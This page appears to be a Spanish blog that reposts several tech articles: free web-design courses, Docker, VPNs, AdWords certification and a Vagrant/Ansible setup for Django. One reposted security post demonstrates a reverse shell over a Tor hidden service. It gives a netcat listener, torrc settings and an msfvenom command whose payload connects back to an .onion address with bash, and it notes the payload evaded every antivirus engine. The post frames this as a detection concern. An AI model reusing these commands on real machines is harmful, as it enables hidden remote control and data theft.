viernes, 30 de septiembre de 2016

Aprende Desarrollo Web y Diseño Web con la ayuda de esta importante lista de cursos gratis.

http://www.cacharrerosdelaweb.com/2016/01/aprende-desarrollo-web-diseno-web-con-esta-lista-cursos-gratis.html

El contenido educativo que podemos encontrar hoy en dia en internet es muy importante y útil para que cualquier persona que este interesada en aprender algo nuevo, lo pueda hacer sin ningún problema, puesto que las únicas herramientas que se necesitan para acceder a estos contenidos son un computador, conexión a internet y muchas ganas de querer capacitarte.

A pesar de que estamos en pleno 2016 son muchas las personas que desconocen los beneficios que hoy en dia nos ofrece internet. Teniendo en cuenta que internet no solo sirve para comunicarnos, les puedo informar y asegurar que internet es mas que eso.

CW te recomienda: 20 cursos gratis de Diseño Web Responsive Design.

Personalmente mantengo capacitandome por este importante medio, internet se convirtió para mi en ese docente que refuerza mis clases y me ayuda a ser mejor cada dia. Espero que de igual manera tu lo estés aprovechando y si te interesa el desarrollo web y el diseño web puedas capacitarte con este gran listado de cursos gratuitos que te ofreceremos en este post.

cursos-gratis-desarrolladores-web

Para acceder a alguno de los cursos tendrás que hacer un registro previo, lo puedes hacer con alguna de tus redes sociales. ¿Que aprenderás en estos cursos? Aquí aprenderás a utilizar el lenguaje de marcado mas popular del mundo, HTML5. También aprenderás CSS, JavaScript, WordPress, Bootstrap, Laravel y otras cosas muy importantes. No siendo mas a continuación la lista de cursos.

Mas de 15 cursos gratuitos para aprender Desarrollo Web y Diseño Web.


#1) Aprende programación básica - HTML y CSS. Vamos al curso.

#2) Carreras en Acamica. Vamos al curso.

#3) Introducción al diseño web. Vamos al curso.

#4) 6 Cursos gratuitos para aprender JavaScript desde cero. Vamos al curso.

#5) Listado de los 7 mejores cursos gratuitos para aprender WordPress. Vamos al curso.

#6) Cursos gratuitos para aprender a desarrollar aplicaciones web con Laravel. Vamos al curso.

#7) Curso online gratuito de HTML y CSS impartido por los amigos de devcode. Vamos al curso.

#8) Curso básico de HTML5. Vamos al curso.

#9) Haciendo páginas web interactivas. Vamos al curso.

#10) Tutoriales HTML5. Vamos al curso.

#11) Curso Básico de Javascript desde 0. Vamos al curso.

#12) Tutoriales PHP. Vamos al curso.

#13) Aprendiendo WordPress sin programación. Vamos al curso.

#14) Curso de Asistente Web. Vamos al curso.

#15) Curso online gratis para aprender HTLM, CSS, JAVASCRIPT y PHP. Vamos al curso.

#16) 11 cursos online gratuitos para programadores Backend y Frontend. Vamos al curso.

#17) Los mejores canales de Youtube para Desarrolladores Web. Vamos al curso.

#18) Mas de 40 Libros gratuitos para conocer y aprender sobre JavaScript. Vamos al curso.

#19) Los mejores cursos para estudiantes de Informática, programadores y desarrolladores web.Vamos al curso.

#20) Listado de 1500 libros gratis para estudiantes y apasionados por la Programación. Vamos al curso. 

Si conoces cursos similares a los aquí mencionados, no dudes en dejarnos el comentario. Si fue de interés para ti, te invito a que compartas este material con todos tus amigos. Éxitos y Bendiciones.

 SOBRE EL AUTOR

Cacharreros de la Web
AUTOR Y EDITOR
Soy un chico apasionado al Deporte, a las nuevas Tecnologías, Informática y todo lo referente a la Computación. Te invito a que hagas parte de esta comunidad. Exitos y Bendiciones. www.cacharrerosdelaweb.com.

"Cuando tengas una idea de negocio y esta no sea la ganadora, no te sientas un perdedor. Porque solo el hecho de ser parte de un excelente equipo, ya es ganar."

jueves, 29 de septiembre de 2016

Aplicación práctica sobre NetcaTor, una shell inversa a través de Tor

http://blog.elevenpaths.com/2016/09/aplicacion-practica-sobre-netcator-una.html

Aplicación práctica sobre NetcaTor, una shell inversa a través de Tor

 miércoles, 28 de septiembre de 2016

Uno de los puntos débiles de los atacantes a la hora de exfiltrar información comprometida es la exposición de parte de su infraestructura tecnológica durante el proceso. En este sentido, la red Tor ofrece la posibilidad de hacer accesibles servicios en una máquina como servicios ocultos o hidden servicesaprovechando la capa de anonimato que ofrece y así evitar que quede expuesta la localización real de la máquina.

Cómo configuramos un hidden service
La configuración de un hidden service es sencilla y además está bien documentada por parte de los desarrolladores del proyecto Tor dentro del propio código como en la propia web del proyecto. Virtualmente, cualquier servicio que utilice tráfico TCP puede ser creado a través de la red Tor modificando la configuración del archivo torrc.

La creación del hidden service con Tor instalado en una máquina requiere la edición del fichero de configuración de Tor torrc que se encuentra en la ruta /etc/tor/ en sistemas operativos Linux. En las líneas del fichero 63 y siguientes se detallan ejemplos de cómo configurar un hidden service. La primera de ellas establecerá la ruta en la que se almacenará la información relativa al hidden service y que será creada si no existe por el servicio que arranca Tor. En esa ruta se almacenan dos archivos importantes: hostname, que contiene el dominio que otros podrán utilizar para acceder al servicio y private_key, el fichero que almacena la clave privada del hidden service y cuya custodia queda a cargo del administrador del sitio siendo necesario que permanezca secreta.

############### This section is just for location-hidden services ###

## Once you have configured a hidden service, you can look at the
## contents of the file ".../hidden_service/hostname" for the address
## to tell people.
##
## HiddenServicePort x y:z says to redirect requests on port x to the
## address y:z.

#HiddenServiceDir /var/lib/tor/hidden_service/
#HiddenServicePort 80 127.0.0.1:80

Por ejemplo, en el caso de que hubiéramos desplegado un servidor Apache en el puerto 80, podríamos hacerlo accesible a través de un hidden service editando la configuración y descomentando la información de las líneas 72 y 73 de dicho fichero para crear los archivos hostname en la ruta/var/lib/tor/hidden_service/ y redirigir el tráfico que reciba Tor en el puerto 80 a ese hidden service al puerto 80 de la máquina local en donde está esperando el servidor Apache.

Esta aproximación podría llevarse a cabo también para exponer un servicio SSH accesible a través de Tor, modificando las líneas relativas al HiddenServicePort para que apunten al puerto 22. Para acceder a dicho servicio existen diferentes aproximaciones, pero la más sencilla es la de lanzar el comando de conexión precediéndolo del comando torify, que se encargará de redirigir el tráfico de red para enviarlo a través de la instancia de Tor que esté en ejecución en dicha máquina.

La prueba de concepto
Desde el punto de vista de la arquitectura necesaria para esta prueba de concepto se asumirá qué víctima y atacante están utilizando sistemas Linux y tienen Tor instalado y corriendo como servicio. El procedimiento seguido para llevar a cabo esta prueba de concepto es el siguiente:

   1. Despliegue del servicio malicioso a la escucha en la máquina atacante. En este caso se desplegará un netcat a la espera de conexiones en el puerto 1234 de la máquina local. No es necesario exponer públicamente el servicio ya que el tráfico en ese puerto será encaminado hacia y desde Tor.
    Attacker > nc -v -l -p 1234 127.0.0.1

       2. Configuración de Tor en la máquina atacante para hacerlo accesible a través de un dominio .onion. Utilizando como plantilla el fichero torrc, se añaden dos líneas nuevas que especifican la ruta en la que se generarán los ficheros auxiliares del servicio y las reglas de direccionamiento.

    HiddenServiceDir /var/lib/tor/nc_hidden_service/
    HiddenServicePort 1234 127.0.0.1:1234

    El dominio .onion definido en el archivo hostname estará disponible apenas unos segundos después de arrancarlo. En el caso de esta prueba de concepto el dominio generado es: vks3v4ilo4tgud7h.onion.

    Attacker > service tor restart

    Figura 1. Esquema del sistema malicioso que utiliza Tor para la exfiltración de información.

       3. Preparación del payload torificado por parte del atacante. El payload se generará con la utilidad msfvenom de Metasploit Framework utilizando el módulo linux/x86/exec que torificará la conexión de netcat hacia el dominio .onion del atacante y que permitirá al atacante la ejecución de comandos.

    Attacker > msfvenom -p linux/x86/exec CMD="torify nc vks3v4ilo4tgud7h.onion 1234 -e /bin/bash" -f elf R > poc

       4. Ejecución del payload torificado en la máquina de la víctima. Aunque se podría realizar explotando algún tipo de vulnerabilidad, para simplificar el proceso en este caso se ha ejecutado directamente elpayload generado.

    Victim > chmod +x poc
    Victim > ./poc

       5. Explotación por parte del atacante de la shell redirigida hacia netcat. 

    En este caso, se asume que la víctima cuenta con Tor instalado y la aplicación torify disponible. En el supuesto de no ser así, se podría instalar automáticamente desde los repositorios oficiales de la distribución si el usuario dispone de los permisos adecuados y así proceder a su instalación. En cualquier caso, si el usuario no tiene permisos de administración se podría incluir también el proceso de descarga de la última instancia de Tor y compilarla desde las fuentes satisfaciendo las dependencias o accediendo a versiones precompiladas de la aplicación. El primer análisis del payload generado en esta prueba de concepto en Virustotal no ha sido clasificado como malicioso por ninguna de las 53 soluciones de antivirus.

    Figura 2. Ejemplo de la ejecución de la prueba de concepto en una máquina local.
    Hemos creado entonces un payload utilizando el módulo exec con msfvenom. El inconveniente que tiene es que tenemos que recordar el comando completo que tenemos que ejecutar. Una aproximación más cómoda sería crear a partir de ese módulo uno nuevo que directamente nos solicitara el dominio .onion y el puerto al que nos vamos a conectar. En el siguiente repositorio de Github podréis acceder al nuevo módulo que hemos creado.

    Esta prueba de concepto pone sobre la mesa la necesidad de monitorizar si máquinas consideradas como críticas están usando Tor para comunicarse con la red y determinar si este comportamiento es esperado o si podría ser consecuencia de un potencial encubrimiento de comunicaciones maliciosas.

    Docker, Qué es y sus principales características.

    El contenedor Linux se ha convertido en una herramienta que ayuda tanto a desarrolladores como a administradores de sistema a probar aplicaciones o sistemas en un entorno seguro e igual al de producción, reduciendo así tiempos de pruebas y adaptaciones a cambios de hardware desde el entorno de prueba al de producción.
    Con la tecnología de Docker podremos virtualizar un Linux con todas las aplicaciones que necesitemos dentro de nuestro sistema operativo Linux, para "empaquetarlo" y desplegarlo en cualquier otro Linux sin necesidad más que de introducir un par de comandos.

    Docker es un proyecto de código abierto con el que fácilmente podremos crear "contenedores". Estos contenedores de Docker podríamos definirlos como máquinas virtuales ligeras, menos exigentes con los chips y memorias de los equipos donde se ejecutarán. Las características principales de estos contenedores son la portabilidad, la ligereza y la autosuficiencia:
    Portabilidad.
    El contenedor Docker podremos desplegarlo en cualquier otro sistema (que soporte esta tecnología), con lo que nos ahorraremos el tener que instalar en este nuevo entorno todas aquellas aplicaciones que normalmente usemos.
    Ligereza.
    El peso de este sistema no tiene comparación con cualquier otro sistema de virtualización más convencional que estemos acostumbrados a usar. Por poner un ejemplo, una de las herramientas de virtualización más extendida es VirtualBox, y cualquier imagen de Ubuntu que queramos usar en otro equipo pesará entorno a 1Gb si contamos únicamente con la instalación limpia del sistema. En cambio, un Ubuntu con Apache y una aplicación web, pesa alrededor de 180Mb, lo que nos demuestra un significativo ahorro a la hora de almacenar diversos contenedores que podamos desplegar con posterioridad.
    Autosuficiencia.
    Un contenedor Docker no contiene todo un sistema completo, sino únicamente aquellas librerías, archivos y configuraciones necesarias para desplegar las funcionalidades que contenga. Asimismo Docker se encarga de la gestión del contenedor y de las aplicaciones que contenga.
    Además, su ligereza hará las delicias del usuario, puesto que incluso en equipos con algunos años a sus espaldas se desenvuelve prácticamente igual que el sistema anfitrión, a parte de ofrecernos un entorno similar a Git para, a base de "capas", controlar cada cambio que se haga en la máquina virtual o contenedor.
    Para obtener esta fluidez Docker extiende LXC (LinuX Containers), un sistema de virtualización ligero que permite crear múltiples sistemas totalmente aislados entre si sobre la misma máquina o sistema anfitrión. Y todo dado que no se emula un sistema operativo completo, sólo las librerías y sistemas de archivos necesarios para la utilización de las aplicaciones que tengamos instaladas en cada contenedor.
    El notable éxito de esta tecnología, se puede comprobar bien a través de todas sus virtudes, bien en la aceptación e implicación de grandes empresas que acogen este tipo de servicios en sus entornos de producción. Un ejemplo de ello es el de DigitalOcean que ofrece una aplicación para crear contenedores acoplables, así como Google ha afirmado ya que integrará soporte para este software.
    Docker se compone de tres elementos fundamentales:
    Contenedores Docker:
    Son como un directorio, contienen todo lo necesario para que una aplicación pueda funcionar sin necesidad de acceder a un repositorio externo al contenedor. Cada uno de éstos es una plataforma de aplicaciones segura y aislada del resto que podamos encontrar o desplegar en la misma máquina host.
    Imágenes Docker:
    La imagen Docker podríamos entenderla como un SO con aplicaciones instaladas (Por ejemplo un OpenSUSE con un paquete ofimático). Sobre esta base podremos empezar a añadir aplicaciones que vayamos a necesitar en otro equipo donde tengamos intención de usar la imagen. Además Docker nos ofrece una forma muy sencilla de actualizar las imágenes que tengamos creadas, así como un sencillo método para crear nuevas imágenes.
    Repositorios Docker:
    También conocidos como Registros Docker, contienen imágenes creadas por los usuarios y puestas a disposición del público. Podemos encontrar repositorios públicos y totalmente gratuitos o repositorios privados donde tendremos que comprar las imágenes que necesitemos. Estos registros permiten desarrollar o desplegar aplicaciones de forma simple y rápida en base a plantillas, reduciendo el tiempo de creación o implementación de aplicaciones o sistemas.

    ¿Cómo funciona Docker?

    En un principio contamos con una imagen base, sobre la que realizaremos los diferentes cambios. Trasconfirmar estos cambios mediante la aplicación Docker, crearemos la imagen que usaremos. Esta imagen contiene únicamente las diferencias que hemos añadido con respecto a la base. Cada vez que queramos ejecutar esta imagen necesitaremos la base y las 'capas' de la imagen. Docker se encargará de acoplar la base, la imagen y las diferentes capas con los cambios para darnos el entorno que queremos desplegar para empezar a trabajar.
    Desde su sitio oficial podemos ver que está disponible para Ubuntu, ArchLinux, Gentoo, Fedora, OpenSUSE y FrugalWare, así como desde el propio código binario de la aplicación. Además también tenemos indicaciones para poder desplegar contenedores bajo entornos Windows, Mac, Amazon EC2, Rackspace o Google Cloud.
    Y para terminar un resumen con las principales características y funcionalidades de Docker:
    • Autogestión de los contenedores.
    • Fiabilidad.
    • Aplicaciones libres de las dependencias instaladas en el sistema anfitrión.
    • Capacidad para desplegar multitud de contenedores en un mismo equipo físico.
    • Puesta en marcha de los servicios en un abrir y cerrar de ojos.
    • Contenedores muy livianos que facilitan su almacenaje, transporte y despliegue.
    • Capacidad para ejecutar una amplia gama de aplicaciones (prácticamente cualquier cosa que se nos ocurra podrá ejecutarse en un contenedor Docker).
    • Compatibilidad Multi-Sistema, podremos desplegar nuestros contenedores en multitud de plataformas.
    • La aplicación base de Docker gestionará los recursos existentes para asignarlos responsablemente entre los contenedores desplegados.
    • Podremos establecer una base desde la que comenzar nuestros proyectos, lo que nos ahorrará el tiempo de preparar el entorno para cada uno de ellos.
    • Podremos compartir nuestros contenedores para aumentar los repositorios de Docker así como beneficiarnos de los que compartan los demás.
    No podíamos irnos sin recordarte que puedes acceder a algunos de nuestros cursos de forma 100% gratuita para que consigas formarte y crecer como un profesional IT.
    ¿ Quieres aprender más sobre FEDORA, FRUGALWARE ó GENTOO ?

    Qué es una VPN y cómo protege la privacidad de tu información

    http://www.welivesecurity.com/la-es/videos/que-es-una-vpn/



    Este video explica qué es una VPN, cómo funciona y cuáles son los beneficios que te ofrece para que sigas protegiendo tu privacidad en línea. Las redes VPN permiten conectarse de forma segura y remota a redes privadas para, por ejemplo, navegar en redes Wi-Fi públicas previniendo que un atacante intercepte la comunicación.

    martes, 27 de septiembre de 2016

    Cómo conseguir la certificación gratis de Google Adwords

    La Certificación Oficial de Google Adwords se trata de un título internacional que te abrirá puertas laborales y gracias al que sabrás cómo gestionar campañas de publicidad en la red.
    La Certificación Oficial de Google Adwords se trata de un conjunto de pruebas online con formato de test que acreditan que posees experiencia y conocimientos en el manejo de este sistema de anuncios del rey de los buscadores.
    Los exámenes certifican que posees un alto nivel sobre los aspectos básicos y avanzados de AdWords. Google reconoce a las personas que poseen esta certificación como expertos en publicidad online.
    Para ello, debes aprobar estos exámenes -básico y avanzado-, tras lo cual recibirás el certificado con todas las ventajas que ello implica.

    Google Actívate te ofrece cursos online y presenciales gratuitos

    Anteriormente tenía un precio de 50 dólares, pero actualmente esta formación y el certificado es de carácter totalmente gratuito. Además, en el caso de suspender puedes volver a presentarte sin coste. En Google Partners podrás acceder a los exámenes, a la guía y el material oficial de estudio. Expliquemos paso a paso lo que tienes que hacer para ser todo un experto en Adwords y adquirir estas competencias sin desembolsar ni euro.

    Pasos para lograr la certificación en Google Adwords

    El único requisito indispensable es poseer cuenta de gmail para el acceso. A continuación, te proponemos los principales pasos y consejos a seguir para cursar esta formación con éxito:
    1. Registrate en Google Partners y crea tu perfil para tener acceso al material y a los exámenes. En su interior, encontrarás un menú lateral con el apartado de Adwords. En el punto Certificaciones >Adwords, hallarás el acceso a cada examen de manera individual y a sus respectivas lecciones.
    2. Para realizar los exámenes, debes saber que estos tienen una duración de 120 minutos pero distinto número de preguntas y diferente porcentaje para conseguir el aprobado. Cada examen dispone de sus propias lecciones con consejos, vídeos, enlaces y notas a tener en cuenta. La fuente oficial a la que te redirigen es el soporte de ayuda de Google Adwords. Aprenderás conceptos como la orientación por palabras clave, los formatos de anuncios, los presupuestos y pujas o la segmentación geográfica y por idiomas.
    3. Crea tu propio timeline de estudio: Puedes utilizar Google Calendar y Google Alerts u otras herramientas de planificación temporal para pautar tus tiempos de estudio y marcar tus fechas para los exámenes. Puedes encontrar mucho material online en diferentes fuentes como blogs especializados, foros, vídeos, tutoriales y el propio soporte de Adwords, pero lo más recomendable es que elabores tus propios apuntes unidos en un mismo documento o carpeta. 
    4. Un truco clave es elaborar un pequeño glosario o diccionario con las principales definiciones relativas a Google Adwords: Utiliza las definiciones teóricas pero reescríbelas con tus propias palabras para grabarlas en tu memoria de forma más efectiva.
    5. Realiza actividades prácticas en la interfaz de Adwords: Tras absorber los conocimientos teóricos aprende a crear tus propias campañas y grupos de anuncio, añadiendo palabras clave, probando y editando hasta comprobar cómo mejoras tus propios resultados.
    6. Preséntate al examen cuando creas que vas a aprobar: No te prepcupes si suspendes, es fundamental que realices alguna prueba para hacerte una idea del tiempo con el que cuentas, evalúes el tipo de preguntas. Eso si, si fallas tendrás que esperar una semana para volver a realizar el examen. 

    Recursos educativos en torno a Google Adwords

    Los vídeos procedentes de canales como Youtube especializados en SEM serán muy útiles y entretenidos en tu andadura educativa, como el canal oficial de Google Adwords en inglés o Google para tu negocio, en castellano.
    También puedes acudir a blogs especializados donde autores expertos facilitanejemplos prácticos con capturas de pantalla, proponen guías y redactan artículospara perfeccionar el manejo de esta herramienta. Algunos de los mejores sonDentro de Adwords -su blog oficial en nuestro país-, el ameno blog de la agencia Aukera plagado de trucos, el blog de Seocom o el premiado a nivel internacional Search Engine Journal, con un apartado dedicado al pago por clic dónde podrás inspirarte para tus campañas y preparar mejor tu acceso a la certificación.

    domingo, 25 de septiembre de 2016

    django

    http://miguelgomez.io/django/servidor-desarrollo-vagrant-ansible/

    Vagrant es una de esas herramientas que a priori parece que no tiene cabida en tu stack, pero una vez que comienzas a utilizarla se vuelve indispensable. En una entrada anteriorvimos como hacer uso de la misma con el driver de Digital Oceanen ese caso para desplegar Droplets, aunque el objetivo principal de esta herramienta es crear entornos dedesarrollo aislados.
    Vagrant permite que el abastecimiento de las máquinas a través de un script Bash o por medio de cualquier herramienta de orquestación tipo PuppetSaltCheff o Ansible. En esta ocasión utilizaremos Ansible para el aprovisionar nuestro entorno.
    En esta serie de artículos veremos como crear un servidor de desarrollo aislado paraDjango. Te preguntarás, ¿pero si con Python ya tenemos virtualenv? Si, pero ya sabemos que virtualenv no es perfecto y en muchas ocasiones no aísla todo lo bien que debería. Además Vagrant nos permite replicar el entorno de producción en local, con todas las ventajas que conlleva desarrollar en el entorno que nos vamos a encontrar en producción. En este ejemplo utilizaremos Ubuntu 16.04 cómo sistema operativo, Nginx de proxy inverso,Postgree como sistema gestor de base de datos y Gunicorn de servidor web.

    Por qué Ansible

    La diferencia principal entre Ansible y otras herramientas de orquestación, es que Ansible se comunica con el/los servidor/es vía SSH,  no como Puppet o Chef que necesitan tener instaladas dependencias en el/los servidor/es para poder ser utilizados.
    La principal ventaja de Ansible es su simplicidad, las tareas se definen  en formatoYAML, tiene una comunidad inmensa (cuenta más seguidores en Github que Salt, Puppet y Cheff juntos). Por si fuera poco está escrito en Python y permite el uso de plantillas Jinja 2para generar ficheros de configuración.
    Gracias a Ansible podremos replicar la máquina orquestada para desarrollo en producciónsin demasiado coste adicional, dedicaré un artículo en el futuro para tratar esta problemática.

    Requisitos

    Antes que nada tenemos que tener instalado en nuestro equipo Vagrant y Ansible. Vagrant lo puedes descargar desde aquíAnsible lo puedes instalar con Brew o con PIP, tal como indican en la documentación oficial.

    Vagrantfile

    Comenzaremos creando un nuevo directorio para nuestro proyecto:
    1
    2
    3
    mkdir -p ~/Projects/ansible-vagrant-django
    cd ~/Projects/ansible-vagrant-django
    A continuación, ejecutaremos el comando Vagrant init para crear un nuevo Vagrantfilebasado en Ubuntu 16.04:
    1
    2
    vagrant init geerlingguy/ubuntu1604
    Debe haberse generado un fichero llamado Vagrantfile en la raíz del directorio. Este contieneinformación básica sobre la máquina que queremos aprovisionar, y multiples comentarios, los eliminamos y dejamos el fichero así:
    1
    2
    3
    4
    5
    6
    API_VERSION = "2"
    Vagrant.configure(API_VERSION) do |config|
    config.vm.box = "geerlingguy/ubuntu1604"
    end
    Vamos a necesitar una manera de acceder a nuestro servidor web una vez que la máquina esté lista, así que le indicaremos a Vagrant que mapee el puerto 8000 de nuestro equipo al puerto 8000 de la maquina virtual. Para ello, agrega el siguiente código:
    1
    2
    3
    config.vm.network "forwarded_port", guest: 80, host: 8080
    config.vm.network "public_network"
    Para poder acceder vía SSH a nuestra máquina y que sincronice nuestro directorio de trabajo dentro de la máquina, necesitaremos añadir estás dos directivas:
    1
    2
    3
    config.ssh.forward_agent = true
    config.vm.synced_folder "./", "/var/www/djangoproject"
    Por último, indicaremos que queremos aprovisionar la máquina con Ansible, y dónde va a encontrar el fichero con los comandos de ansible:
    1
    2
    3
    4
    config.vm.provision :ansible do |ansible|
    ansible.playbook = "provision/vagrant.yml"
    end
    Una vez añadidos todos los requerimientos nuestro Vagrantfile quedará así:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    # -*- mode: ruby -*-
    # vi: set ft=ruby :
    API_VERSION = "2"
    Vagrant.configure(API_VERSION) do |config|
    config.vm.box = "geerlingguy/ubuntu1604"
    config.vm.network "forwarded_port", guest: 8000, host: 8000
    config.vm.network "public_network"
    config.ssh.forward_agent = true
    config.vm.synced_folder "./", "/var/www/djangoproject"
    config.vm.provision "ansible" do |ansible|
    ansible.playbook = "provision/vagrant.yml"
    end
    end

    Playbooks de Ansible

    Un Playbook de Ansible es un fichero que permite definir todas las tareas que se van a realizar en uno o varios hosts (servidores), en este caso en nuestro servidor de desarrollo.
    Las tareas equivalen a uno o multiples comandos bash, cada una de las mismas hace uso de un modulo de Ansible. Los módulos son librerías que utiliza Ansible para controlar servicios, ficheros, paquetes o comandos, como por ejemplo aptcopy o service.
    Veamos como escribir nuestro primer Playbook, lo primero que debemos hacer es crear un directorio provision y dentro de este un fichero denominado vagrant.yml:
    1
    2
    3
    4
    mkdir provision
    cd provision
    touch vagrant.yml
    Seguidamente añadimos a nuestro playbook los hosts en los que se van a ejecutar las tareas, en este caso como estamos haciendo uso de Vagrant indicaremos que puede ejecutar las tareas en todos los servidores conocidos y además con permisos de usuario root (become yes):
    1
    2
    3
    - hosts: all
    become: yes

    Tareas de Ansible

    Tal como hemos dicho, las tareas (Tasks) de Ansible realizan su función ejecutando un modulo, son ejecutadas en orden, una cada vez en cada uno de los nodos definidos en la directiva ‘hosts’ (en este caso sólo tenemos el nodo de nuestra máquina virtual).
    Cada una de las tareas tienen como mínimo un nombre y el módulo que ejecutan. Por ejemplo, instalar python-pip sería tan sencillo como esto:
    1
    2
    3
    - name: Install python pip
    apt: name=python-pip
    En este artículo, para evitar que se haga excesivamente extenso, solo crearemos la tarea “instalar los paquetes básicos”, dejaremos para la próxima entrada las tareas referentes a la configuración de PosgtgreeSQLNginxGunicorn y Django.
    Dicha tarea quedaría tal que así:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    - name: Install base packages
    apt: name={{ item }} update_cache=yes state=installed
    with_items:
    - build-essential
    - acl
    - ntp
    - htop
    - git
    - libpq-dev
    - python-dev
    - python-pip
    - python-pycurl
    - nginx
    - gunicorn
    En esta tarea estamos ejecutando el modulo apt, le estamos indicando que actualice la caché y que el estado de final de la tarea sea “installed”. La directiva “with_items” permite que la tarea se ejecute para cada uno de los paquetes indicados.
    Así luce nuestro playbook hasta el momento:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    ---
    - hosts: all
    become: yes
    tasks:
    - name: Install base packages
    apt: name={{ item }} update_cache=yes state=installed
    with_items:
    - build-essential
    - acl
    - ntp
    - htop
    - git
    - libpq-dev
    - python-dev
    - python-pip
    - python-pycurl
    - nginx
    - gunicorn
    Si a continuación ejecutamos el comando vagrant up se “levantará” nuestra máquina con la “box” asignada, en este caso Ubuntu 16.04, y la configuración que hemos indicado en el vagrantfile.
    Una vez terminado este proceso, y sólo si es la primera vez que se ejecuta, comenzará el aprovisionamiento de la máquina con nuestro playbook de Ansible. Si añadimos tareas a posteriori al playbook podemos volver a ejecutar el aprovisionamiento con el comandovagrant provision.

    Resumen

    En esta entrada hemos visto cómo configurar un servidor de desarrollo casi genérico usando Vagrant y Ansible. He dejado muchas cosas en el tintero, pero el post se estaba haciendo demasiado largo. En el siguiente entraré en materia en lo referente a la configuración del stack de Django y continuaré profundizando en lo que a Ansible se refiere, trateré temas como Roles, Handlers, Vars y demás.